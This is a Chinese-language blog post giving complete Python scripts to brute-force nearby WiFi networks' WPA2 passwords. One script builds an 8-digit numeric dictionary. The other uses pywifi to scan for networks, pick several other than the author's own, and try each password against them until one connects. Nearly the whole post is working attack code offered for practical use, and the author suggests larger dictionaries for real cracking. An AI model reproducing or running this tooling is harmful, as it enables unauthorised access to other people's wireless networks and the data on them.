Python破解Wifi密码思路
一、前言说明
本机运行环境:系统环境Win10,运行环境Python3.6,运行工具Pycharm
需要Python的包有:pywifi
这是一种暴力破解wifi的模式,需要的时间比较长,本文主要提供一个破解思路
二、思路介绍
先生成一个密码字典(此步骤也可以从网上下载字典)
循环用密码字典的每个密码去尝试连接Wifi,直到成功
三、源码设计
1. 密码字典TXT文件生成,本文提供的比较简单,实用破解可以根据一般密码设置,去生成比较大比较全的密码字典
一般设置密码规则,可以参照这个博客写的内容:https://www.cnblogs.com/lifengfneg/p/5992649.html
以下提供简单8位纯数字的字典生成方案代码GetWifiPsdDic.py
1 import itertools as its 2 3 4 if __name__ == '__main__': 5 words_num = "1234567890" 6 words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 7 r = its.product(words_num, repeat=8) 8 dic = open("password-8位数字.txt", "w") 9 for i in r: 10 dic.write("".join(i)) 11 dic.write("".join("\n")) 12 dic.close()
2. 暴力破解密码,用时较长GetWifiPsd.py
1 import pywifi 2 3 from pywifi import const # 引用一些定义 4 5 import time 6 7 8 def getwifi(wifilist, wificount): 9 wifi = pywifi.PyWiFi() # 抓取网卡接口 10 ifaces = wifi.interfaces()[0] # 获取网卡 11 ifaces.scan() 12 time.sleep(8) 13 bessis = ifaces.scan_results() 14 allwifilist = [] 15 namelist = [] 16 ssidlist = [] 17 for data in bessis: 18 if data.ssid not in namelist: # 去掉重复的WIFI名称 19 namelist.append(data.ssid) 20 allwifilist.append((data.ssid, data.signal)) 21 sorted(allwifilist, key=lambda st: st[1], reverse=True) 22 time.sleep(1) 23 n = 0 24 if len(allwifilist) is not 0: 25 for item in allwifilist: 26 if (item[0] not in ssidlist) & (item[0] not in wifilist): 27 n = n + 1 28 if n <= wificount: 29 ssidlist.append(item[0]) 30 print(allwifilist) 31 return ssidlist 32 33 34 def getifaces(): 35 wifi = pywifi.PyWiFi() # 抓取网卡接口 36 ifaces = wifi.interfaces()[0] # 获取网卡 37 ifaces.disconnect() # 断开无限网卡连接 38 return ifaces 39 40 41 def testwifi(ifaces, ssidname, password): 42 profile = pywifi.Profile() # 创建wifi连接文件 43 profile.ssid = ssidname # 定义wifissid 44 profile.auth = const.AUTH_ALG_OPEN # 网卡的开放 45 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法 46 profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元 47 profile.key = password # wifi密码 48 ifaces.remove_all_network_profiles() # 删除其他所有配置文件 49 tmp_profile = ifaces.add_network_profile(profile) # 加载配置文件 50 ifaces.connect(tmp_profile) # 连接wifi 51 time.sleep(5) # 5秒内能否连接上 52 if ifaces.status() == const.IFACE_CONNECTED: 53 return True 54 else: 55 return False 56 57 58 def beginwork(wifinamelist): 59 ifaces = getifaces() 60 path = r"password-8位数字.txt" 61 # path = r"password-常用密码.txt" 62 files = open(path, 'r') 63 while True: 64 try: 65 password = files.readline() 66 password = password.strip('\n') 67 if not password: 68 break 69 for wifiname in wifinamelist: 70 print("正在尝试:" + wifiname + "," + password) 71 if testwifi(ifaces, wifiname, password): 72 print("Wifi账号:" + wifiname + ",Wifi密码:" + password) 73 wifinamelist.remove(wifiname) 74 break 75 if not wifinamelist: 76 break 77 except: 78 continue 79 files.close() 80 81 82 if __name__ == '__main__': 83 wifinames_e = ["", "Vrapile"] # 排除不破解的wifi名字 84 wifinames = getwifi(wifinames_e, 5) 85 print(wifinames) 86 beginwork(wifinames)
四、最后小结
上文生成字典有很多冗余密码成分,会大大加长破解时间,实用时可以更改密码生成方式
作者名称:Vrapile
联系方式:发送邮件Vrapile@163.com,另博客账号也是本人微信号。
版权声明:此文是博主业余爱好所写,文章或有错误与不足之处,欢迎留言指正建议、共同探讨!另此文为博主原创,未经博主同意不得转载,否则保留追究法律责任的权利。